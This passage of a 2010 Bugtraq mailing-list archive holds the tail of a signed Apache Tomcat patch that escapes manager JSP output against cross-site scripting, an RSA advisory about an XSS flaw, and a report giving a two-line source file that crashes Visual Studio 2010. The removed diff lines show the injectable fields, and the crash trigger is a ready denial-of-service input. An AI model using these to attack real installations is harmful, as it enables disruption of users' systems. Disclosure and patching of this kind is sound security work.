%>
<tr>
<td>
- -<input type="checkbox" name="sessionIds" value="<%= currentSessionId
%>" /><a href="<%= submitUrl
%>&action=sessionDetail&sessionId=<%= currentSessionId %>"
target="_blank"><%= JspHelper.escapeXml(currentSessionId) %></a>
+<input type="checkbox" name="sessionIds" value="<%= currentSessionId
%>" /><a href="<%= submitUrl
%>&action=sessionDetail&sessionId=<%= currentSessionId %>"
target="_blank"><%= currentSessionId %></a>
</td>
- - <td style="text-align: center;"><%JspHelper.guessDisplayLocaleFromSession(currentSession) %></td>
+ <td style="text-align: center;"><%JspHelper.escapeXml(JspHelper.guessDisplayLocaleFromSession(currentSession))
%></td>
<td style="text-align: center;"><%JspHelper.guessDisplayUserFromSession(currentSession) %></td>
<td style="text-align: center;"><%JspHelper.getDisplayCreationTimeForSession(currentSession) %></td>
<td style="text-align: center;"><%JspHelper.getDisplayLastAccessedTimeForSession(currentSession) %></td>

***************
Patch for 7.0.4
***************

Index: webapps/manager/WEB-INF/jsp/sessionDetail.jsp
==================================================================- --- webapps/manager/WEB-INF/jsp/sessionDetail.jsp (revision 1037768)
+++ webapps/manager/WEB-INF/jsp/sessionDetail.jsp (working copy)
@@ -30,9 +30,10 @@
<% String path = (String) request.getAttribute("path");
    Session currentSession (Session)request.getAttribute("currentSession");
    HttpSession currentHttpSession = currentSession.getSession();
- -   String currentSessionId = currentSession.getId();
- -   String submitUrl = response.encodeURL(((HttpServletRequest)
- -           pageContext.getRequest()).getRequestURL().toString());
+   String currentSessionId = JspHelper.escapeXml(currentSession.getId());
+   String submitUrl = JspHelper.escapeXml(response.encodeURL(
+           ((HttpServletRequest)
pageContext.getRequest()).getRequestURI() +
+           "?path=" + path));
%>
<head>
     <meta http-equiv="content-type" content="text/html;
charset=iso-8859-1"/>
@@ -46,7 +47,7 @@
     <title>Sessions Administration: details for <%= currentSessionId
%></title>
</head>
<body>
- -<h1>Details for Session <%= JspHelper.escapeXml(currentSessionId) %></h1>
+<h1>Details for Session <%= currentSessionId %></h1>
  <table style="text-align: left;" border="0">
   <tr>
@@ -55,7 +56,7 @@
   </tr>
   <tr>
     <th>Guessed Locale</th>
- -    <td><%= JspHelper.guessDisplayLocaleFromSession(currentSession)
%></td>
+    <td><%JspHelper.escapeXml(JspHelper.guessDisplayLocaleFromSession(currentSession))
%></td>
   </tr>
   <tr>
     <th>Guessed User</th>
@@ -89,7 +90,6 @@
  <form method="post" action="<%= submitUrl %>">
   <div>
- -    <input type="hidden" name="path" value="<%= path %>" />
     <input type="hidden" name="sessionId" value="<%= currentSessionId
%>" />
     <input type="hidden" name="action" value="sessionDetail" />
     <input type="submit" value="Refresh" />
@@ -131,10 +131,9 @@
             <td align="center">
                 <form method="post" action="<%= submitUrl %>">
                     <div>
- -                        <input type="hidden" name="path" value="<%path %>" />
                         <input type="hidden" name="action"
value="removeSessionAttribute" />
                         <input type="hidden" name="sessionId"
value="<%= currentSessionId %>" />
- -                        <input type="hidden" name="attributeName"
value="<%= attributeName %>" />
+                        <input type="hidden" name="attributeName"
value="<%= JspHelper.escapeXml(attributeName) %>" />
                         <%
                           if
("Primary".equals(request.getAttribute("sessionType"))) {
                         %>
@@ -156,7 +155,6 @@
  <form method="post" action="<%=submitUrl%>">
   <p style="text-align: center;">
- -    <input type="hidden" name="path" value="<%= path %>" />
     <input type="submit" value="Return to session list" />
   </p>
</form>
Index: webapps/manager/WEB-INF/jsp/sessionsList.jsp
==================================================================- --- webapps/manager/WEB-INF/jsp/sessionsList.jsp (revision 1037768)
+++ webapps/manager/WEB-INF/jsp/sessionsList.jsp (working copy)
@@ -28,8 +28,9 @@
  <%@page import="org.apache.catalina.manager.DummyProxySession"%><html
xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<% String path = (String) request.getAttribute("path");
- -   String submitUrl = response.encodeURL(((HttpServletRequest)
- -           pageContext.getRequest()).getRequestURI() + "?path=" + path);
+   String submitUrl = JspHelper.escapeXml(response.encodeURL(
+           ((HttpServletRequest)
pageContext.getRequest()).getRequestURI() +
+           "?path=" + path));
    Collection activeSessions = (Collection)
request.getAttribute("activeSessions");
%>
<head>
@@ -41,10 +42,10 @@
     <meta name="author" content="Cedrik LIME"/>
     <meta name="copyright" content="copyright 2005-2010 the Apache
Software Foundation"/>
     <meta name="robots" content="noindex,nofollow,noarchive"/>
- -    <title>Sessions Administration for <%= path %></title>
+    <title>Sessions Administration for <%= JspHelper.escapeXml(path)
%></title>
</head>
<body>
- -<h1>Sessions Administration for <%= path %></h1>
+<h1>Sessions Administration for <%= JspHelper.escapeXml(path) %></h1>
  <p>Tips:</p>
<ul>
@@ -58,13 +59,13 @@
<form action="<%= submitUrl %>" method="post" id="sessionsForm">
     <fieldset><legend>Active HttpSessions informations</legend>
         <input type="hidden" name="action" id="sessionsFormAction"
value="injectSessions"/>
- -        <input type="hidden" name="sort" id="sessionsFormSort"
value="<%= (String) request.getAttribute("sort") %>"/>
+        <input type="hidden" name="sort" id="sessionsFormSort"
value="<%= JspHelper.escapeXml(request.getAttribute("sort")) %>"/>
         <% String order = (String) request.getAttribute("order");
            if (order == null || "".equals(order)) {
                order = "ASC";
            }
         %>
- -        <input type="hidden" name="order" id="sessionsFormSortOrder"
value="<%= order %>"/>
+        <input type="hidden" name="order" id="sessionsFormSortOrder"
value="<%= JspHelper.escapeXml(order) %>"/>
         <input type="submit" name="refresh" id="refreshButton"
value="Refresh Sessions list"
onclick="document.getElementById('sessionsFormAction').value='refreshSessions';
return true;"/>
         <%= JspHelper.formatNumber(activeSessions.size()) %> active
Sessions<br/>
         <table border="1" cellpadding="2" cellspacing="2" width="100%">
@@ -100,7 +101,7 @@
<% Iterator iter = activeSessions.iterator();
    while (iter.hasNext()) {
        Session currentSession = (Session) iter.next();
- -       String currentSessionId = currentSession.getId();
+       String currentSessionId JspHelper.escapeXml(currentSession.getId());
        String type;
        if (currentSession instanceof DeltaSession) {
            if (((DeltaSession) currentSession).isPrimarySession()) {
@@ -121,13 +122,13 @@
                             out.print(currentSessionId);
                         } else {
                       %>
- -                      <a href="<%= submitUrl
%>&action=sessionDetail&sessionId=<%= currentSessionId
%>&sessionType=<%= type %>"><%JspHelper.escapeXml(currentSessionId) %></a>
+                      <a href="<%= submitUrl
%>&action=sessionDetail&sessionId=<%= currentSessionId
%>&sessionType=<%= type %>"><%= currentSessionId %></a>
                       <%
                         }
                       %>
                     </td>
                     <td style="text-align: center;"><%= type %></td>
- -                    <td style="text-align: center;"><%JspHelper.guessDisplayLocaleFromSession(currentSession) %></td>
+                    <td style="text-align: center;"><%JspHelper.escapeXml(JspHelper.guessDisplayLocaleFromSession(currentSession))
%></td>
                     <td style="text-align: center;"><%JspHelper.guessDisplayUserFromSession(currentSession) %></td>
                     <td style="text-align: center;"><%JspHelper.getDisplayCreationTimeForSession(currentSession) %></td>
                     <td style="text-align: center;"><%JspHelper.getDisplayLastAccessedTimeForSession(currentSession) %></td>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQIcBAEBAgAGBQJM6sBuAAoJEBDAHFovYFnnrHEQAPA2QmgMopWAzEynFt0htLUS
Dx0A8gl4grLLIjDcwCM+jzc44dn0zzSTuXZkhAbCE+gnLpQSCMf1iQmX3hwOKCHx
MgHpWIhpon6FB1+AE3HtqQ2MzH/IUeA0ji2F/nWKors4zdkdpNNZG3O4tNzsd108
IXrDaoJheD0ek9N51PYAuN1ZEhMWnkTYPvpGjCcSn5sj2LYqEGpdrifLBx5QbwZu
eOVJHufomeU6lanogTtSaXUhDmfm0NM72OCxm597R9L10Xll2D2AK0MvTZjWf5Mr
xZiotdlFc6E5PPNtdUOO34HW/ClYrTjWQB1RoY8yUnRjRx8a8tZ+rrX9TCfPuy7x
Os8nOEAjWtUYZmP4I+o0c8tcurpF9gP6rITOL4JZlZPB++ZtzILU4NGzoxsQ5WtZ
U1eIgnH1GcboOAu0TKfxESrDFutruN9PvgIaQPdBftENShk20CNBXfaWatkE0nnv
YZS9R5dviKa/u7cNZEusGQirc65bdDuG2u97bZkqoYyywwpeBC7QKEiPfqnfa9Ju
DkucGnejMDbWa5kgvDQH/i0vnyy2lyknGo/vuZMsgVWffgKQoLG0TLk4hg4Evafv
nWeeepnIdDTTc2KuiqO1F/KSGB7VmR8E2ySGj62g75bJOnSzVMpSpwfF/F7FYMsi
NAKAGVImnKte7ogGqU94
=gjUw
-----END PGP SIGNATURE-----

From - Tue Nov 23 18:32:41 2010
X-Account-Key: account7
X-UIDL: 4cc060000001273c
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45349-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 281B6EC174
for <lists@securityspace.com>; Tue, 23 Nov 2010 11:11:11 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 90C62236F9E; Tue, 23 Nov 2010 09:07:55 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 2304 invoked from network); 23 Nov 2010 15:17:13 -0000
x-mimeole: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----_=_NextPart_001_01CB8B21.4C13A666"
Subject: ESA-2010-019: RSA, The Security Division of EMC, is reissuing this advisory regarding a potential cross-site scripting vulnerability that has been identified in RSAR Adaptive Authentication (On Premise) versions 2.x and 5.7.x. Patch 105162
Date: Tue, 23 Nov 2010 10:15:43 -0500
Message-ID: <331D078A829B614C93F23543BC6A96B404EA832F@CORPUSMX90C.corp.emc.com>
In-Reply-To: <331D078A829B614C93F23543BC6A96B404EA81D2@CORPUSMX90C.corp.emc.com>
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator:
Thread-Topic: ESA-2010-019: RSA, The Security Division of EMC, is reissuing this advisory regarding a potential cross-site scripting vulnerability that has been identified in RSAR Adaptive Authentication (On Premise) versions 2.x and 5.7.x. Patch 105162
Thread-Index: AcuKnQyvJ+st1M9VTaaJh4ocv7sUVgAhCp3g
References: <331D078A829B614C93F23543BC6A96B404EA81D2@CORPUSMX90C.corp.emc.com>
From: <Security_Alert@emc.com>
To: <Security_Alert@emc.com>, <bugtraq@securityfocus.com>
Cc: <dm@securityfocus.com>
X-OriginalArrivalTime: 23 Nov 2010 15:15:44.0002 (UTC) FILETIME=[4C45DE20:01CB8B21]
X-EMM-MHVC: 1
X-EMM-MFVC: 1
Status: RO

This is a multi-part message in MIME format.

------_=_NextPart_001_01CB8B21.4C13A666
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

------_=_NextPart_001_01CB8B21.4C13A666
Content-Type: text/plain;
name="ESA-2010-019.txt"
Content-Transfer-Encoding: base64
Content-Description: ESA-2010-019.txt
Content-Disposition: attachment;
filename="ESA-2010-019.txt"

LS0tLS1CRUdJTiBQR1AgU0lHTkVEIE1FU1NBR0UtLS0tLQpIYXNoOiBTSEExCgoKCkVTQS0yMDEw
LTAxOTogUlNBLCBUaGUgU2VjdXJpdHkgRGl2aXNpb24gb2YgRU1DLCBpcyByZWlzc3VpbmcgdGhp
cyBhZHZpc29yeSByZWdhcmRpbmcgYSBwb3RlbnRpYWwgY3Jvc3Mtc2l0ZSBzY3JpcHRpbmcgdnVs
bmVyYWJpbGl0eSB0aGF0IGhhcyBiZWVuIGlkZW50aWZpZWQgaW4gUlNBriBBZGFwdGl2ZSBBdXRo
ZW50aWNhdGlvbiAoT24gUHJlbWlzZSkgdmVyc2lvbnMgMi54IGFuZCA1LjcueC4gUGF0Y2ggMTA1
MTYyIChTZWN1cml0eSBQYXRjaCkuDQoNClNlY3VyaXR5IEFkdmlzb3J5IA0KDQpVcGRhdGVkIE5v
dmVtYmVyIDEyLCAyMDEwIA0KDQoNClRoaXMgYWR2aXNvcnkgd2FzIG9yaWdpbmFsbHkgY29tbXVu
aWNhdGVkIGluIEp1bmUgMjAwOC4NCg0KDQoNClN1bW1hcnk6DQoNCkEgcG90ZW50aWFsIGNyb3Nz
LXNpdGUgc2NyaXB0aW5nIHZ1bG5lcmFiaWxpdHkgaGFzIGJlZW4gaWRlbnRpZmllZCBpbiBSU0Gu
IEFkYXB0aXZlIEF1dGhlbnRpY2F0aW9uIChPbiBQcmVtaXNlKSB2ZXJzaW9ucyAyLnggYW5kIDUu
Ny54LiBTcGVjaWZpY2FsbHkgYSBGbGFzaCBTaG9ja3dhdmUgZmlsZSBwcm92aWRlZCBieSB0aGUg
QWRhcHRpdmUgQXV0aGVudGljYXRpb24gc3lzdGVtIGNvdWxkIGJlIGV4cGxvaXRlZCBpbiBjZXJ0
YWluIGxpbWl0ZWQgY2lyY3Vtc3RhbmNlcy4NCg0KDQoNCkRlc2NyaXB0aW9uOg0KDQpDVkUgSWRl
bnRpZmllcjogQ1ZFLTIwMDgtNzI2Ng0KDQpUbyBtaXRpZ2F0ZSB0aGlzIGlzc3VlLCBSU0EgcmVs
ZWFzZWQgYSBwYXRjaCBpbiAyMDA4IHRoYXQgd2FzIG1hZGUgYXZhaWxhYmxlIGZyb20gUlNBIFNl
Y3VyQ2FyZa4gT25saW5lIGFuZCBpcyBzdGlsbCBhdmFpbGFibGUgbm93LCBpZiBuZWVkZWQuDQoN
Cg0KDQpBZmZlY3RlZCBQcm9kdWN0czoNCg0KUlNBIEFkYXB0aXZlIEF1dGhlbnRpY2F0aW9uIChP
biBQcmVtaXNlKSB2ZXJzaW9ucyAyLnggYW5kIDUuNy54IG1heSBiZSBpbXBhY3RlZC4NCg0KDQoN
ClVuYWZmZWN0ZWQgUHJvZHVjdHM6DQoNClRoZSB2dWxuZXJhYmlsaXR5IGRvZXMgbm90IGFmZmVj
dCA2LnggdmVyc2lvbnMuDQoNCg0KDQpSZWNvbW1lbmRhdGlvbjoNCg0KV2Ugc3Ryb25nbHkgcmVj
b21tZW5kIHRoYXQgY3VzdG9tZXJzIHdobyBoYXZlIG5vdCBhbHJlYWR5IG9idGFpbmVkIHRoZSBt
ZW50aW9uZWQgcGF0Y2ggb3IgYSBsYXRlciBwYXRjaCAod2hpY2ggY29udGFpbnMgdGhlIEZsYXNo
IFNob2Nrd2F2ZSBmaWxlKSBvYnRhaW4gdGhlIHBhdGNoIGZyb20gUlNBIFNlY3VyQ2FyZa4gT25s
aW5lLg0KDQoNCg0KT2J0YWluaW5nIFRoZSBQYXRjaDoNCg0KMi54IGFuZCA1LjcueCBDdXN0b21l
cnM6DQoNCklmIHlvdSBoYXZlIG5vdCBhbHJlYWR5IGRlcGxveWVkIHRoZSBzZWN1cml0eSBwYXRj
aCBvciBhIGxhdGVyIHBhdGNoICh3aGljaCBjb250YWlucyB0aGUgRmxhc2ggU2hvY2t3YXZlIGZp
bGUpIHlvdSBtYXkgb2J0YWluIHRoZSBwYXRjaCBhdCBodHRwczovL2tub3dsZWRnZS5yc2FzZWN1
cml0eS5jb20vc2NvbGNtcy9zZXQuYXNweD9pZD04MTkyDQoNCg0KDQpDb21tb24gVnVsbmVyYWJp
bGl0eSBTY29yaW5nIFN5c3RlbSAoQ1ZTUykgU2NvcmU6DQoNClRoZSBDb21tb24gVnVsbmVyYWJp
bGl0eSBTY29yaW5nIFN5c3RlbSAoQ1ZTUykgYmFzZSBzY29yZSBmb3IgdGhlIGl0ZW1zIGlkZW50
aWZpZWQgaW4gdGhpcyBhZHZpc29yeSBpcyA1LjggKEFWOk4vQUM6TS9BdTpOL0M6UC9JOlAvQTpO
KS4gRU1DIHJlY29tbWVuZHMgdGhhdCBhbGwgY3VzdG9tZXJzIHRha2UgaW50byBhY2NvdW50IGJv
dGggdGhlIGJhc2Ugc2NvcmUgYW5kIGFueSByZWxldmFudCB0ZW1wb3JhbCBhbmQgZW52aXJvbm1l
bnRhbCBzY29yZXMsIHdoaWNoIG1heSBpbXBhY3QgdGhlIHBvdGVudGlhbCBzZXZlcml0eSBhc3Nv
Y2lhdGVkIHdpdGggYSBwYXJ0aWN1bGFyIHNlY3VyaXR5IHZ1bG5lcmFiaWxpdHkuDQoNCkZvciBt
b3JlIGluZm9ybWF0aW9uIG9uIENWU1Mgc2NvcmluZywgcGxlYXNlIHNlZSB0aGUgS25vd2xlZGdl
IEJhc2UgQXJ0aWNsZSwgk1NlY3VyaXR5IEFkdmlzb3JpZXMgU2V2ZXJpdHkgUmF0aW5nlCBhdCBo
dHRwczovL2tub3dsZWRnZS5yc2FzZWN1cml0eS5jb20vc2NvbGNtcy9rbm93bGVkZ2UuYXNweD9z
b2x1dGlvbj1hNDY2MDQuDQoNCg0KDQpDcmVkaXQ6DQoNClJTQSB3b3VsZCBsaWtlIHRvIHRoYW5r
IHNlY3VyaXR5IHJlc2VhcmNoZXIgTmlyIEdvbGRzaGxhZ2VyLCBvZiBBdm5ldCBUZWNobm9sb2dp
ZXMsIHdobyBicm91Z2h0IGl0IHRvIG91ciBhdHRlbnRpb24gdGhhdCBzb21lIHB1YmxpYyB3ZWIg
c2l0ZXMgbWF5IHN0aWxsIGJlIGF0IHJpc2sgZm9yIHRoaXMgaXNzdWUgYW5kIGhhcyBjb29yZGlu
YXRlZCB3aXRoIHVzIHRvIGVuc3VyZSB0aGUgc2FmZXR5IG9mIG91ciBjdXN0b21lcnMuDQoNCg0K
DQpPYnRhaW5pbmcgRG9jdW1lbnRhdGlvbjoNCg0KVG8gb2J0YWluIFJTQSBkb2N1bWVudGF0aW9u
LCBsb2cgb24gdG8gUlNBIFNlY3VyQ2FyZSBPbmxpbmUgYXQgaHR0cHM6Ly9rbm93bGVkZ2UucnNh
c2VjdXJpdHkuY29tIGFuZCBjbGljayBQcm9kdWN0cyBpbiB0aGUgdG9wIG5hdmlnYXRpb24gbWVu
dS4gU2VsZWN0IHRoZSBzcGVjaWZpYyBwcm9kdWN0IHdob3NlIGRvY3VtZW50YXRpb24geW91IHdh
bnQgdG8gb2J0YWluLiBTY3JvbGwgdG8gdGhlIHNlY3Rpb24gZm9yIHRoZSBwcm9kdWN0IHZlcnNp
b24gdGhhdCB5b3Ugd2FudCBhbmQgY2xpY2sgdGhlIHNldCBsaW5rLg0KDQoNCg0KT2J0YWluaW5n
IE1vcmUgSW5mb3JtYXRpb246DQoNCkZvciBtb3JlIGluZm9ybWF0aW9uIGFib3V0IFJTQSBBZGFw
dGl2ZSBBdXRoZW50aWNhdGlvbiwgdmlzaXQgdGhlIFJTQSB3ZWIgc2l0ZSBhdCBodHRwOi8vd3d3
LnJzYS5jb20vbm9kZS5hc3B4P2lkPTMwMTguDQoNCg0KDQpHZXR0aW5nIFN1cHBvcnQgYW5kIFNl
cnZpY2U6DQoNCkZvciBjdXN0b21lcnMgd2l0aCBjdXJyZW50IG1haW50ZW5hbmNlIGNvbnRyYWN0
cywgY29udGFjdCB5b3VyIGxvY2FsIFJTQSBDdXN0b21lciBTdXBwb3J0IGNlbnRlciB3aXRoIGFu
eSBhZGRpdGlvbmFsIHF1ZXN0aW9ucyByZWdhcmRpbmcgdGhpcyBSU0EgU2VjdXJDYXJlIE5vdGUu
IEZvciBjb250YWN0IHRlbGVwaG9uZSBudW1iZXJzIG9yIGUtbWFpbCBhZGRyZXNzZXMsIGxvZyBv
biB0byBSU0EgU2VjdXJDYXJlIE9ubGluZSBhdCBodHRwczovL2tub3dsZWRnZS5yc2FzZWN1cml0
eS5jb20sIGNsaWNrIEhlbHAgJiBDb250YWN0LCBhbmQgdGhlbiBjbGljayB0aGUgQ29udGFjdCBV
cyAtIFBob25lIHRhYiBvciB0aGUgQ29udGFjdCBVcyAtIEVtYWlsIHRhYi4NCg0KDQoNCkdlbmVy
YWwgQ3VzdG9tZXIgU3VwcG9ydCBJbmZvcm1hdGlvbjoNCg0KaHR0cDovL3d3dy5yc2EuY29tL25v
ZGUuYXNweD9pZD0xMjY0DQoNCg0KDQpSU0EgU2VjdXJDYXJlIE9ubGluZToNCg0KaHR0cHM6Ly9r
bm93bGVkZ2UucnNhc2VjdXJpdHkuY29tDQoNCg0KDQpFT1BTIFBvbGljeToNCg0KUlNBIGhhcyBh
IGRlZmluZWQgRW5kIG9mIFByaW1hcnkgU3VwcG9ydCBwb2xpY3kgYXNzb2NpYXRlZCB3aXRoIGFs
bCBtYWpvciB2ZXJzaW9ucy4gUGxlYXNlIHJlZmVyIHRvIHRoZSBsaW5rIGJlbG93IGZvciBhZGRp
dGlvbmFsIGRldGFpbHMuIA0KaHR0cDovL3d3dy5yc2EuY29tL25vZGUuYXNweD9pZD0yNTc1IA0K
DQoNCg0KU2VjdXJDYXJlIE9ubGluZSBTZWN1cml0eSBBZHZpc29yaWVzDQoNClJTQSwgVGhlIFNl
Y3VyaXR5IERpdmlzaW9uIG9mIEVNQywgZGlzdHJpYnV0ZXMgU0NPTCBTZWN1cml0eSBBZHZpc29y
aWVzIGluIG9yZGVyIHRvIGJyaW5nIHRvIHRoZSBhdHRlbnRpb24gb2YgdXNlcnMgb2YgdGhlIGFm
ZmVjdGVkIFJTQSBwcm9kdWN0cyBpbXBvcnRhbnQgc2VjdXJpdHkgaW5mb3JtYXRpb24uIFJTQSBy
ZWNvbW1lbmRzIHRoYXQgYWxsIHVzZXJzIGRldGVybWluZSB0aGUgYXBwbGljYWJpbGl0eSBvZiB0
aGlzIGluZm9ybWF0aW9uIHRvIHRoZWlyIGluZGl2aWR1YWwgc2l0dWF0aW9ucyBhbmQgdGFrZSBh
cHByb3ByaWF0ZSBhY3Rpb24uIFRoZSBpbmZvcm1hdGlvbiBzZXQgZm9ydGggaGVyZWluIGlzIHBy
b3ZpZGVkICJhcyBpcyIgd2l0aG91dCB3YXJyYW50eSBvZiBhbnkga2luZC4gUlNBIGRpc2NsYWlt
IGFsbCB3YXJyYW50aWVzLCBlaXRoZXIgZXhwcmVzcyBvciBpbXBsaWVkLCBpbmNsdWRpbmcgdGhl
IHdhcnJhbnRpZXMgb2YgbWVyY2hhbnRhYmlsaXR5LCBmaXRuZXNzIGZvciBhIHBhcnRpY3VsYXIg
cHVycG9zZSwgdGl0bGUgYW5kIG5vbi1pbmZyaW5nZW1lbnQuIEluIG5vIGV2ZW50IHNoYWxsIFJT
QSBvciBpdHMgc3VwcGxpZXJzIGJlIGxpYWJsZSBmb3IgYW55IGRhbWFnZXMgd2hhdHNvZXZlciBp
bmNsdWRpbmcgZGlyZWN0LCBpbmRpcmVjdCwgaW5jaWRlbnRhbCwgY29uc2VxdWVudGlhbCwgbG9z
cyBvZiBidXNpbmVzcyBwcm9maXRzIG9yIHNwZWNpYWwgZGFtYWdlcywgZXZlbiBpZiBSU0Egb3Ig
aXRzIHN1cHBsaWVycyBoYXZlIGJlZW4gYWR2aXNlZCBvZiB0aGUgcG9zc2liaWxpdHkgb2Ygc3Vj
aCBkYW1hZ2VzLiBTb21lIHN0YXRlcyBkbyBub3QgYWxsb3cgdGhlIGV4Y2x1c2lvbiBvciBsaW1p
dGF0aW9uIG9mIGxpYWJpbGl0eSBmb3IgY29uc2VxdWVudGlhbCBvciBpbmNpZGVudGFsIGRhbWFn
ZXMgc28gdGhlIGZvcmVnb2luZyBsaW1pdGF0aW9uIG1heSBub3QgYXBwbHkuDQoNCg0KDQpBYm91
dCBSU0EgU2VjdXJDYXJlIE5vdGVzICYgU2VjdXJpdHkgQWR2aXNvcmllcyBTdWJzY3JpcHRpb24N
Cg0KUlNBIFNlY3VyQ2FyZSBOb3RlcyAmIFNlY3VyaXR5IEFkdmlzb3JpZXMgYXJlIHRhcmdldGVk
IGUtbWFpbCBtZXNzYWdlcyB0aGF0IFJTQSBzZW5kcyB5b3UgYmFzZWQgb24gdGhlIFJTQSBwcm9k
dWN0IGZhbWlseSB5b3UgY3VycmVudGx5IHVzZS4gSWYgeW91kmQgbGlrZSB0byBzdG9wIHJlY2Vp
dmluZyBSU0EgU2VjdXJDYXJlIE5vdGVzICYgU2VjdXJpdHkgQWR2aXNvcmllcywgb3IgaWYgeW91
kmQgbGlrZSB0byBjaGFuZ2Ugd2hpY2ggUlNBIHByb2R1Y3QgZmFtaWx5IE5vdGVzICYgU2VjdXJp
dHkgQWR2aXNvcmllcyB5b3UgY3VycmVudGx5IHJlY2VpdmUsIGxvZyBvbiB0byBSU0EgU2VjdXJD
YXJlIE9ubGluZSBhdCBodHRwczovL2tub3dsZWRnZS5yc2FzZWN1cml0eS5jb20vc2NvbGNtcy9o
ZWxwLmFzcHg/X3Y9dmlldzUuIEZvbGxvd2luZyB0aGUgaW5zdHJ1Y3Rpb25zIG9uIHRoZSBwYWdl
LCByZW1vdmUgdGhlIGNoZWNrIG1hcmsgbmV4dCB0byB0aGUgUlNBIHByb2R1Y3QgZmFtaWx5IHdo
b3NlIE5vdGVzICYgU2VjdXJpdHkgQWR2aXNvcmllcyB5b3Ugbm8gbG9uZ2VyIHdhbnQgdG8gcmVj
ZWl2ZS4gQ2xpY2sgdGhlIFN1Ym1pdCBidXR0b24gdG8gc2F2ZSB5b3VyIHNlbGVjdGlvbg0KDQpF
TUMgUHJvZHVjdCBTZWN1cml0eSBSZXNwb25zZSBDZW50ZXINClNlY3VyaXR5X0FsZXJ0QEVNQy5j
b20NCmh0dHA6Ly93d3cuZW1jLmNvbS9jb250YWN0LXVzL2NvbnRhY3QvcHJvZHVjdC1zZWN1cml0
eS1yZXNwb25zZS1jZW50ZXIuaHRtDQoNCg0KLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0K
VmVyc2lvbjogR251UEcgdjEuNC45IChDeWd3aW4pCgppRVlFQVJFQ0FBWUZBa3pyMlQ0QUNna1F0
amQycktwK0FMeitJZ0Nnc29WWDgyZmo3bXJidDg4YTR1V0t3cXMwCnVDY0FvTEJCY3hud0VXYVUy
MStLemZBbXNaRUhVRXFqCj01ZU1QCi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLQo
------_=_NextPart_001_01CB8B21.4C13A666--

From - Tue Nov 23 18:32:43 2010
X-Account-Key: account7
X-UIDL: 4cc060000001273f
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45353-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 43F21EC127
for <lists@securityspace.com>; Tue, 23 Nov 2010 13:29:02 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 45BEA143704; Tue, 23 Nov 2010 11:24:42 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 4591 invoked from network); 23 Nov 2010 17:12:47 -0000
MIME-Version: 1.0
Date: Tue, 23 Nov 2010 12:12:27 -0500
From: <jabea@jabea.net>
To: <bugtraq@securityfocus.com>
Subject: Microsoft Visual Studio vulnerability
Message-ID: <a40cc58d3618dc7f6ffc6f969eab4f79@jabea.net>
X-Sender: jabea@jabea.net
User-Agent: RoundCube Webmail/0.3.1
Content-Transfer-Encoding: 8bit
Content-Type: text/plain; charset=UTF-8
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - ducky.cirtexhosting.com
X-AntiAbuse: Original Domain - securityfocus.com
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - jabea.net
X-Source:
X-Source-Args:
X-Source-Dir:
Status: RO

-----------------------------------------------------------------
Microsoft Visual Studio vulnerability

Overview:

In Microsoft Visual Studio 2010 the DLL CPFE.DLL is vulnerable. A badly
written source file make the application crash at loading. That make it
really easy to make a simple denial of service against the application by
using CVS or SVN repositories. Exploitation of this bug is not yet know or
confirmed.

Description:

To trigger the condition it just need 2 lines of code in any source file;

extern class D
extern unsigned int     exemple;

The application crash at the exact time it detect that error pattern.
(Access violation at 0x3f898354: read of address 0xfffffffc)

You need to edit the source file outside of the application to remove
those
lines.

Impact:

A denial of service against the application. If a exploit got written for
that, like a forged source file that could inject shell code, then it will
be easy to infect distant computer using CVS/SVN because source file are
usually thrusted to be virus safe because they are in plain text. (Not
counting that usually real-time antivirus that are configured to scan file
type don’t usually scan source file)

(Tested against Visual Studio Express 2010)

Solution:

Use another IDE, or switch back to Visual Studio 2008

Misc:

Vendor got informed of that bug at this time by me:  6/17/2010 8:23:04 PM
- On Microsoft connect at first:
http://connect.microsoft.com/VisualStudio/feedback/details/568619. (Bug
confirmed by Microsoft)
- On secure@microsoft.com after.
